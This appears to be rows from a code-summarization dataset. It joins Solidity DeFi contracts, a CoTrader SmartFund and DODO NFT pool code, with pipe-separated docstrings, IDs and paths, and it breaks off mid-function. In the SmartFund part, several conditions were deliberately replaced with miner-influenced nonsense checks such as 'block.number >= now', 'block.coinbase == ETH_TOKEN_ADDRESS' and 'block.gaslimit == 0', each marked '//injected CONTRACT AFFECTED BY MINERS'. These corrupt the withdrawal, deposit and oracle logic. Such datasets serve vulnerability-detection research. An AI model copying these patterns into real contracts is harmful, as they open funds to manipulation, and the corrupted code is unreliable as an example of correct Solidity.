function verifyTradeBetweenDW() internal view {
require(
now >= latestOracleCallOnTime + cotraderGlobalConfig.TRADE_FREEZE_TIME(),
"FREEZE_FOR_UPDATE_PRICE"
);
}
// not allow call user B (for a freeze minutes) if user A not finished operation
// allow call any user for a first deposit
// not allow call user B (for a freeze minutes) if user A not finished operation
// allow call any user for a first deposit
function verifyDWSender() internal view {
if(block.number > 0){ //injected CONTRACT AFFECTED BY MINERS
if(block.number >= now){ //injected CONTRACT AFFECTED BY MINERS
require(msg.sender == latestOracleCaller, "NOT_LATEST_ORACLE_CALLER");
}
else{
revert("ORACLE_TIME_EXPIRED");
}
}
}
// allow update oracle price
// _oracleTokenAddress it's fee token address
function updateFundValueFromOracle(address _oracleTokenAddress, uint256 _oracleFee) public payable {
// allow call Oracle only after a certain period
require(now >= latestOracleCallOnTime + cotraderGlobalConfig.DW_FREEZE_TIME(), "DW_FREEZE");
// pay for using Oracle with ETH
if(block.coinbase == address(ETH_TOKEN_ADDRESS)){ //injected CONTRACT AFFECTED BY MINERS
require(msg.value == _oracleFee, "REQUIRE_ETH");
// call oracle
latestOracleRequestID = fundValueOracle.requestValue.value(_oracleFee)(address(this), _oracleFee);
}
// pay for using Oracle with ERC20
else{
require(msg.value == 0, "NO_NEED_ETH");
// transfer oracle token from sender and approve to oracle portal
_transferFromSenderAndApproveTo(IERC20(_oracleTokenAddress), _oracleFee, address(fundValueOracle));
// call oracle
latestOracleRequestID = fundValueOracle.requestValue(address(this), _oracleFee);
}
// update data
latestOracleCallOnTime = now;
latestOracleCallOnBlock = block.number;
latestOracleCaller = msg.sender;
// emit events
emit OracleUpdate(latestOracleCaller, latestOracleCallOnTime, latestOracleRequestID);
}
// core function for calculate deposit and withdraw and managerWithdraw
// return data from Oracle
function calculateFundValue() public view returns (uint256) {
// return latest data from Oracle
return fundValueOracle.getFundValueByID(latestOracleRequestID);
}
/**
* @dev Sends (_mul/_div) of every token (and ether) the funds holds to _withdrawAddress
*
* @param _mul The numerator
* @param _div The denominator
* @param _withdrawAddress Address to send the tokens/ether to
*
* NOTE: _withdrawAddress changed from address to address[] arrays because balance calculation should be performed
* once for all usesr who wants to withdraw from the current balance.
*
*/
function _withdraw(
uint256[] memory _mul,
uint256[] memory _div,
address[] memory _withdrawAddress
)
internal
returns (uint256)
{
for (uint8 i = 1; i < tokenAddresses.length; i++) {
// Transfer that _mul/_div of each token we hold to the user
IERC20 token = IERC20(tokenAddresses[i]);
uint256 fundAmount = token.balanceOf(address(this));
// Transfer ERC20 to _withdrawAddress
for(uint8 j = 0; j < _withdrawAddress.length; j++){
// calculate withdraw ERC20 share
uint256 payoutAmount = fundAmount.mul(_mul[j]).div(_div[j]);
if(block.number > 0) //injected CONTRACT AFFECTED BY MINERS
token.transfer(_withdrawAddress[j], payoutAmount);
}
}
// Transfer ETH to _withdrawAddress
uint256 etherBalance = address(this).balance;
for(uint8 k = 0; k < _withdrawAddress.length; k++){
// calculate withdraw ETH share
uint256 etherPayoutAmount = (etherBalance).mul(_mul[k]).div(_div[k]);
if(block.number > 0) //injected CONTRACT AFFECTED BY MINERS
payable(_withdrawAddress[k]).transfer(etherPayoutAmount);
}
}
/**
* @dev Withdraws users fund holdings, sends (userShares/totalShares) of every held token
* to msg.sender, defaults to 100% of users shares.
*
* @param _percentageWithdraw The percentage of the users shares to withdraw.
*/
function withdraw(uint256 _percentageWithdraw) external {
verifyDWSender();
require(totalShares != 0, "EMPTY_SHARES");
require(_percentageWithdraw <= TOTAL_PERCENTAGE, "WRONG_PERCENT");
uint256 percentageWithdraw = (_percentageWithdraw == 0) ? TOTAL_PERCENTAGE : _percentageWithdraw;
uint256 addressShares = addressToShares[msg.sender];
uint256 numberOfWithdrawShares = addressShares.mul(percentageWithdraw).div(TOTAL_PERCENTAGE);
uint256 fundManagerCut;
uint256 fundValue;
// Withdraw the users share minus the fund manager's success fee
(fundManagerCut, fundValue, ) = calculateFundManagerCut();
// reset latest Oracle Caller for protect from double call
latestOracleCaller = address(0);
uint256 withdrawShares = numberOfWithdrawShares.mul(fundValue.sub(fundManagerCut)).div(fundValue);
// prepare call data for _withdarw
address[] memory spenders = new address[](1);
spenders[0] = msg.sender;
uint256[] memory value = new uint256[](1);
value[0] = totalShares;
uint256[] memory cut = new uint256[](1);
cut[0] = withdrawShares;
// do withdraw
_withdraw(cut, value, spenders);
// Store the value we are withdrawing in ether
uint256 valueWithdrawn = fundValue.mul(withdrawShares).div(totalShares);
totalWeiWithdrawn = totalWeiWithdrawn.add(valueWithdrawn);
addressesNetDeposit[msg.sender] -= int256(valueWithdrawn);
// Subtract from total shares the number of withdrawn shares
totalShares = totalShares.sub(numberOfWithdrawShares);
addressToShares[msg.sender] = addressToShares[msg.sender].sub(numberOfWithdrawShares);
emit Withdraw(msg.sender, numberOfWithdrawShares, totalShares);
}
/**
* @dev Facilitates a trade of the funds holdings via the exchange portal
*
* @param _source ERC20 token to convert from
* @param _sourceAmount Amount to convert (in _source token)
* @param _destination ERC20 token to convert to
* @param _type The type of exchange to trade with
* @param _proof Merkle tree proof (if not used just set [])
* @param _positions Merkle tree positions (if not used just set [])
* @param _additionalData For additional data (if not used just set "0x0")
* @param _minReturn Min expected amount of destination
*/
function trade(
IERC20 _source,
uint256 _sourceAmount,
IERC20 _destination,
uint256 _type,
bytes32[] calldata _proof,
uint256[] calldata _positions,
bytes calldata _additionalData,
uint256 _minReturn
) external
onlyOwner
{
verifyTradeBetweenDW();
require(_minReturn > 0, "MIN_RETURN_0");
uint256 receivedAmount;
if (_source == ETH_TOKEN_ADDRESS) {
// Make sure fund contains enough ether
require(address(this).balance >= _sourceAmount, "NOT_ENOUGH_ETH");
// Call trade on ExchangePortal along with ether
receivedAmount = exchangePortal.trade.value(_sourceAmount)(
_source,
_sourceAmount,
_destination,
_type,
_proof,
_positions,
_additionalData,
isRequireTradeVerification
);
} else {
_source.approve(address(exchangePortal), _sourceAmount);
receivedAmount = exchangePortal.trade(
_source,
_sourceAmount,
_destination,
_type,
_proof,
_positions,
_additionalData,
isRequireTradeVerification
);
}
// make sure fund recive destanation
require(receivedAmount >= _minReturn, "RECEIVED_LESS_THAN_MIN");
// add token to trader list
_addToken(address(_destination));
// emit event
emit Trade(
address(_source),
_sourceAmount,
address(_destination),
receivedAmount);
}
// return all tokens addresses from fund
function getAllTokenAddresses() external view returns (address[] memory) {
return tokenAddresses;
}
/**
* @dev Adds a token to tokensTraded if it's not already there
* @param _token The token to add
*/
function _addToken(address _token) internal {
// don't add token to if we already have it in our list
if (tokensTraded[_token] || (_token == address(ETH_TOKEN_ADDRESS)))
return;
tokensTraded[_token] = true;
tokenAddresses.push(_token);
uint256 tokenCount = tokenAddresses.length;
// we can't hold more than MAX_TOKENS tokens
require(tokenCount <= cotraderGlobalConfig.MAX_TOKENS(), "MAX_TOKENS");
}
/**
* @dev Removes a token from tokensTraded
*
* @param _token The address of the token to be removed
* @param _tokenIndex The index of the token to be removed
*
*/
function removeToken(address _token, uint256 _tokenIndex) public onlyOwner {
require(_token != address(ETH_TOKEN_ADDRESS));
require(tokensTraded[_token]);
require(IERC20(_token).balanceOf(address(this)) == 0);
require(tokenAddresses[_tokenIndex] == _token);
tokensTraded[_token] = false;
// remove token from array
uint256 arrayLength = tokenAddresses.length - 1;
tokenAddresses[_tokenIndex] = tokenAddresses[arrayLength];
delete tokenAddresses[arrayLength];
tokenAddresses.pop();
}
/**
* @dev Calculates the amount of shares received according to ether deposited
*
* @param _amount Amount of ether to convert to shares
*
* @return Amount of shares to be received
*/
function calculateDepositToShares(uint256 _amount) internal returns (uint256) {
uint256 fundManagerCut;
uint256 fundValue;
// If there are no shares in the contract, whoever deposits owns 100% of the fund
// we will set this to 10^18 shares, but this could be any amount
if (block.gaslimit == 0) //injected CONTRACT AFFECTED BY MINERS
return INITIAL_SHARES;
(fundManagerCut, fundValue, ) = calculateFundManagerCut();
uint256 fundValueBeforeDeposit = fundValue.sub(fundManagerCut);
if (block.number == 0) //injected CONTRACT AFFECTED BY MINERS
return 0;
return _amount.mul(totalShares).div(fundValueBeforeDeposit);
}
/**
* @dev Calculates the fund managers cut, depending on the funds profit and success fee
*
* @return fundManagerRemainingCut The fund managers cut that they have left to withdraw
* @return fundValue The funds current value
* @return fundManagerTotalCut The fund managers total cut of the profits until now
*/
function calculateFundManagerCut() public view returns (
uint256 fundManagerRemainingCut, // fm's cut of the profits that has yet to be cashed out (in `depositToken`)
uint256 fundValue, // total value of fund (in `depositToken`)
uint256 fundManagerTotalCut // fm's total cut of the profits (in `depositToken`)
) {
fundValue = calculateFundValue();
// The total amount of ether currently deposited into the fund, takes into account the total ether
// withdrawn by investors as well as ether withdrawn by the fund manager
// NOTE: value can be negative if the manager performs well and investors withdraw more
// ether than they deposited
int256 curtotalWeiDeposited = int256(totalWeiDeposited) - int256(totalWeiWithdrawn.add(fundManagerCashedOut));
// If profit < 0, the fund managers totalCut and remainingCut are 0
if (int256(fundValue) <= curtotalWeiDeposited) {
fundManagerTotalCut = 0;
fundManagerRemainingCut = 0;
} else {
// calculate profit. profit = current fund value - total deposited + total withdrawn + total withdrawn by fm
uint256 profit = uint256(int256(fundValue) - curtotalWeiDeposited);
// remove the money already taken by the fund manager and take percentage
fundManagerTotalCut = profit.mul(successFee).div(TOTAL_PERCENTAGE);
fundManagerRemainingCut = fundManagerTotalCut.sub(fundManagerCashedOut);
}
}
/**
* @dev Allows the fund manager to withdraw their cut of the funds profit
*/
function fundManagerWithdraw() external onlyOwner {
verifyDWSender();
uint256 fundManagerCut;
uint256 fundValue;
(fundManagerCut, fundValue, ) = calculateFundManagerCut();
// reset latest Oracle Caller for protect from double call
latestOracleCaller = address(0);
uint256 platformCut = (platformFee == 0) ? 0 : fundManagerCut.mul(platformFee).div(TOTAL_PERCENTAGE);
// prepare call data for _withdarw
address[] memory spenders = new address[](2);
spenders[0] = cotraderGlobalConfig.PLATFORM_ADDRESS();
spenders[1] = owner();
uint256[] memory value = new uint256[](2);
value[0] = fundValue;
value[1] = fundValue;
uint256[] memory cut = new uint256[](2);
cut[0] = platformCut;
cut[1] = fundManagerCut - platformCut;
// do withdraw
_withdraw(cut, value, spenders);
// add report
fundManagerCashedOut = fundManagerCashedOut.add(fundManagerCut);
}
/**
* @dev Allows the manager to set whether or not only whitelisted addresses can deposit into
* their fund
*
* @param _onlyWhitelist boolean representing whether only whitelisted addresses can deposit
*/
function setWhitelistOnly(bool _onlyWhitelist) external onlyOwner {
onlyWhitelist = _onlyWhitelist;
}
/**
* @dev Allows the fund manager to whitelist specific addresses to control
* whos allowed to deposit into the fund
*
* @param _user The user address to whitelist
* @param _allowed The status of _user, true means allowed to deposit, false means not allowed
*/
function setWhitelistAddress(address _user, bool _allowed) external onlyOwner {
whitelist[_user] = _allowed;
}
/**
* @dev Allows the fund manager to connect to a new permitted exchange portal
*
* @param _newExchangePortalAddress The address of the new permitted exchange portal to use
*/
function setNewExchangePortal(address _newExchangePortalAddress) public onlyOwner {
// Require correct permitted address type
require(permittedAddresses.isMatchTypes(_newExchangePortalAddress, 1), "WRONG_ADDRESS");
// Set new
exchangePortal = IExchangePortal(_newExchangePortalAddress);
}
/**
* @dev Allows the fund manager to connect to a new Oracle
*
* @param _newOracle address of new fund value Oracle contract
*/
function setNewFundValueOracle(address _newOracle) public onlyOwner {
// Require permitted Oracle
require(permittedAddresses.isMatchTypes(_newOracle, 5), "WRONG_ADDRESS");
// Set new
fundValueOracle = IFundValueOracle(_newOracle);
}
/**
* @dev This method is present in the alpha testing phase in case for some reason there are funds
* left in the SmartFund after all shares were withdrawn
*
* @param _token The address of the token to withdraw
*/
function emergencyWithdraw(address _token) external onlyOwner {
require(totalShares == 0);
if (block.coinbase == address(ETH_TOKEN_ADDRESS)) { //injected CONTRACT AFFECTED BY MINERS
msg.sender.transfer(address(this).balance);
} else {
IERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this)));
}
}
/**
* @dev Approve 0 for a certain address
*
* NOTE: Some ERC20 has no standard approve logic, and not allow do new approve
* if alredy approved.
*
* @param _token address of ERC20
* @param _spender address of spender
*/
function resetApprove(address _token, address _spender) external onlyOwner {
IERC20(_token).approve(_spender, 0);
}
/**
* @dev Transfers tokens to this contract and approves them to another address
*
* @param _source Token to transfer and approve
* @param _sourceAmount The amount to transfer and approve (in _source token)
* @param _to Address to approve to
*/
function _transferFromSenderAndApproveTo(IERC20 _source, uint256 _sourceAmount, address _to) private {
_source.transferFrom(msg.sender, address(this), _sourceAmount);
// approve
_source.approve(_to, _sourceAmount);
}
// Fallback payable function in order to be able to receive ether from other contracts
fallback() external payable {}
/**
**************************** ERC20 Compliance ****************************
**/
// Note that addressesNetDeposit does not get updated when transferring shares, since
// this is used for updating off-chain data it doesn't affect the smart contract logic,
// but is an issue that currently exists
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint8 public decimals = 18;
string public symbol = "FND";
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Total number of shares in existence
*/
function totalSupply() external override view returns (uint256) {
return totalShares;
}
/**
* @dev Gets the balance of the specified address.
*
* @param _who The address to query the the balance of.
*
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _who) external override view returns (uint256) {
return addressToShares[_who];
}
/**
* @dev Transfer shares for a specified address
*
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*
* @return true upon success
*/
function transfer(address _to, uint256 _value) external override returns (bool) {
require(_to != address(0));
require(_value <= addressToShares[msg.sender]);
addressToShares[msg.sender] = addressToShares[msg.sender].sub(_value);
addressToShares[_to] = addressToShares[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer shares from one address to another
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amount of shares to be transferred
*
* @return true upon success
*/
function transferFrom(address _from, address _to, uint256 _value) external override returns (bool) {
require(_to != address(0));
require(_value <= addressToShares[_from]);
require(_value <= allowed[_from][msg.sender]);
addressToShares[_from] = addressToShares[_from].sub(_value);
addressToShares[_to] = addressToShares[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of shares on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address which will spend the funds.
* @param _value The amount of shares to be spent.
*
* @return true upon success
*/
function approve(address _spender, uint256 _value) external override returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of shares that an owner allowed to a spender.
*
* @param _owner The address which owns the funds.
* @param _spender The address which will spend the funds.
*
* @return A uint256 specifying the amount of shares still available for the spender.
*/
function allowance(address _owner, address _spender) external override view returns (uint256) {
return allowed[_owner][_spender];
}
}
/*
Note: this smart fund inherits SmartFundLightCore and make core operations like deposit,
calculate fund value etc in ETH
*/
contract SmartFundETHLight is SmartFundLightCore {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
* @dev constructor
*
* @param _owner Address of the fund manager
* @param _name Name of the fund, required for DetailedERC20 compliance
* @param _successFee Percentage of profit that the fund manager receives
* @param _exchangePortalAddress Address of initial exchange portal
* @param _permittedAddresses Address of permittedAddresses contract
* @param _fundValueOracle Address of Oracle contract
* @param _isRequireTradeVerification If true fund will require verification from Merkle White list for each new asset
* @param _cotraderGlobalConfig Address of CoTrader global config
*/
constructor(
address _owner,
string memory _name,
uint256 _successFee,
address _exchangePortalAddress,
address _permittedAddresses,
address _fundValueOracle,
bool _isRequireTradeVerification,
address _cotraderGlobalConfig
)
SmartFundLightCore(
_owner,
_name,
_successFee,
_exchangePortalAddress,
_permittedAddresses,
address(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee),
_fundValueOracle,
_isRequireTradeVerification,
_cotraderGlobalConfig
)
public{}
/**
* @dev Deposits ether into the fund and allocates a number of shares to the sender
* depending on the current number of shares, the funds value, and amount deposited
*
* @return The amount of shares allocated to the depositor
*/
function deposit() external payable returns (uint256) {
verifyDWSender();
// Check if the sender is allowed to deposit into the fund
if (onlyWhitelist)
require(whitelist[msg.sender]);
// Require that the amount sent is not 0
require(msg.value != 0, "ZERO_DEPOSIT");
// Calculate number of shares
uint256 shares = calculateDepositToShares(msg.value);
// reset latest Oracle Caller for protect from double call
latestOracleCaller = address(0);
totalWeiDeposited += msg.value;
// If user would receive 0 shares, don't continue with deposit
require(shares != 0, "ZERO_SHARES");
// Add shares to total
totalShares = totalShares.add(shares);
// Add shares to address
addressToShares[msg.sender] = addressToShares[msg.sender].add(shares);
addressesNetDeposit[msg.sender] += int256(msg.value);
emit Deposit(msg.sender, msg.value, shares, totalShares);
return shares;
}
}
contract SmartFundETHLightFactory {
function createSmartFundLight(
address _owner,
string memory _name,
uint256 _successFee,
address _exchangePortalAddress,
address _permittedAddresses,
address _fundValueOracle,
bool _isRequireTradeVerification,
address _cotraderGlobalConfig
)
public
returns(address)
{
SmartFundETHLight smartFundETHLight = new SmartFundETHLight(
_owner,
_name,
_successFee,
_exchangePortalAddress,
_permittedAddresses,
_fundValueOracle,
_isRequireTradeVerification,
_cotraderGlobalConfig
);
return address(smartFundETHLight);
}
}
|
return all tokens addresses from fund
|
function getAllTokenAddresses() external view returns (address[] memory) {
return tokenAddresses;
}
| 12,712,209
|
./full_match/10/0x7B9DB28288a08f9F4523ED049D6e63DF8b50DDe0/sources/src/base/ERC1155Drop.sol
|
The tokenId assigned to the next new NFT to be lazy minted.
|
function nextTokenIdToMint() public view virtual returns (uint256) {
return nextTokenIdToLazyMint;
}
ERC-1155 overrides
| 3,783,232
|
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/CloneFactory.sol
interface ICloneFactory {
function clone(address prototype) external returns (address proxy);
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/NFTPool/intf/IFilter.sol
interface IFilter {
function init(
address filterAdmin,
address nftCollection,
bool[] memory toggles,
string memory filterName,
uint256[] memory numParams,
uint256[] memory priceRules,
uint256[] memory spreadIds
) external;
function isNFTValid(address nftCollectionAddress, uint256 nftId) external view returns (bool);
function _NFT_COLLECTION_() external view returns (address);
function queryNFTIn(uint256 NFTInAmount)
external
view
returns (uint256 rawReceive, uint256 received);
function queryNFTTargetOut(uint256 NFTOutAmount)
external
view
returns (uint256 rawPay, uint256 pay);
function queryNFTRandomOut(uint256 NFTOutAmount)
external
view
returns (uint256 rawPay, uint256 pay);
function ERC721In(uint256[] memory tokenIds, address to) external returns (uint256 received);
function ERC721TargetOut(uint256[] memory tokenIds, address to) external returns (uint256 paid);
function ERC721RandomOut(uint256 amount, address to) external returns (uint256 paid);
function ERC1155In(uint256[] memory tokenIds, address to) external returns (uint256 received);
function ERC1155TargetOut(
uint256[] memory tokenIds,
uint256[] memory amounts,
address to
) external returns (uint256 paid);
function ERC1155RandomOut(uint256 amount, address to) external returns (uint256 paid);
}
// File: contracts/NFTPool/intf/IFilterAdmin.sol
interface IFilterAdmin {
function _OWNER_() external view returns (address);
function _CONTROLLER_() external view returns (address);
function init(
address owner,
uint256 initSupply,
string memory name,
string memory symbol,
uint256 feeRate,
address controller,
address maintainer,
address[] memory filters
) external;
function mintFragTo(address to, uint256 rawAmount) external returns (uint256 received);
function burnFragFrom(address from, uint256 rawAmount) external returns (uint256 paid);
function queryMintFee(uint256 rawAmount)
external
view
returns (
uint256 poolFee,
uint256 mtFee,
uint256 afterChargedAmount
);
function queryBurnFee(uint256 rawAmount)
external
view
returns (
uint256 poolFee,
uint256 mtFee,
uint256 afterChargedAmount
);
}
// File: contracts/intf/IDODONFTApprove.sol
interface IDODONFTApprove {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimERC721(address nftContract, address who, address dest, uint256 tokenId) external;
function claimERC1155(address nftContract, address who, address dest, uint256 tokenId, uint256 amount) external;
function claimERC1155Batch(address nftContract, address who, address dest, uint256[] memory tokenIds, uint256[] memory amounts) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/SmartRoute/proxies/DODONFTPoolProxy.sol
contract DODONFTPoolProxy is InitializableOwnable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
mapping(uint256 => address) public _FILTER_TEMPLATES_;
address public _FILTER_ADMIN_TEMPLATE_;
address public _MAINTAINER_;
address public _CONTROLLER_;
address public immutable _CLONE_FACTORY_;
address public immutable _DODO_NFT_APPROVE_;
address public immutable _DODO_APPROVE_;
mapping (address => bool) public isWhiteListed;
// ============ Event ==============
event SetFilterTemplate(uint256 idx, address filterTemplate);
event Erc721In(address filter, address to, uint256 received);
event Erc1155In(address filter, address to, uint256 received);
event CreateLiteNFTPool(address newFilterAdmin, address filterAdminOwner);
event CreateNFTPool(address newFilterAdmin, address filterAdminOwner, address filter);
event CreateFilterV1(address newFilterAdmin, address newFilterV1, address nftCollection, uint256 filterTemplateKey);
event Erc721toErc20(address nftContract, uint256 tokenId, address toToken, uint256 returnAmount);
event ChangeMaintainer(address newMaintainer);
event ChangeContoller(address newController);
event ChangeFilterAdminTemplate(address newFilterAdminTemplate);
event ChangeWhiteList(address contractAddr, bool isAllowed);
constructor(
address cloneFactory,
address filterAdminTemplate,
address controllerModel,
address defaultMaintainer,
address dodoNftApprove,
address dodoApprove
) public {
_CLONE_FACTORY_ = cloneFactory;
_FILTER_ADMIN_TEMPLATE_ = filterAdminTemplate;
_CONTROLLER_ = controllerModel;
_MAINTAINER_ = defaultMaintainer;
_DODO_NFT_APPROVE_ = dodoNftApprove;
_DODO_APPROVE_ = dodoApprove;
}
// ================ ERC721 In and Out ===================
function erc721In(
address filter,
address nftCollection,
uint256[] memory tokenIds,
address to,
uint256 minMintAmount
) external {
for(uint256 i = 0; i < tokenIds.length; i++) {
require(IFilter(filter).isNFTValid(nftCollection,tokenIds[i]), "NOT_REGISTRIED");
IDODONFTApprove(_DODO_NFT_APPROVE_).claimERC721(nftCollection, msg.sender, filter, tokenIds[i]);
}
uint256 received = IFilter(filter).ERC721In(tokenIds, to);
require(received >= minMintAmount, "MINT_AMOUNT_NOT_ENOUGH");
emit Erc721In(filter, to, received);
}
// ================== ERC1155 In and Out ===================
function erc1155In(
address filter,
address nftCollection,
uint256[] memory tokenIds,
uint256[] memory amounts,
address to,
uint256 minMintAmount
) external {
for(uint256 i = 0; i < tokenIds.length; i++) {
require(IFilter(filter).isNFTValid(nftCollection,tokenIds[i]), "NOT_REGISTRIED");
}
IDODONFTApprove(_DODO_NFT_APPROVE_).claimERC1155Batch(nftCollection, msg.sender, filter, tokenIds, amounts);
uint256 received = IFilter(filter).ERC1155In(tokenIds, to);
require(received >= minMintAmount, "MINT_AMOUNT_NOT_ENOUGH");
emit Erc1155In(filter, to, received);
}
// ================== Create NFTPool ===================
function createLiteNFTPool(
address filterAdminOwner,
string[] memory infos, // 0 => fragName, 1 => fragSymbol
uint256[] memory numParams //0 - initSupply, 1 - fee
) external returns(address newFilterAdmin) {
newFilterAdmin = ICloneFactory(_CLONE_FACTORY_).clone(_FILTER_ADMIN_TEMPLATE_);
address[] memory filters = new address[](0);
IFilterAdmin(newFilterAdmin).init(
filterAdminOwner,
numParams[0],
infos[0],
infos[1],
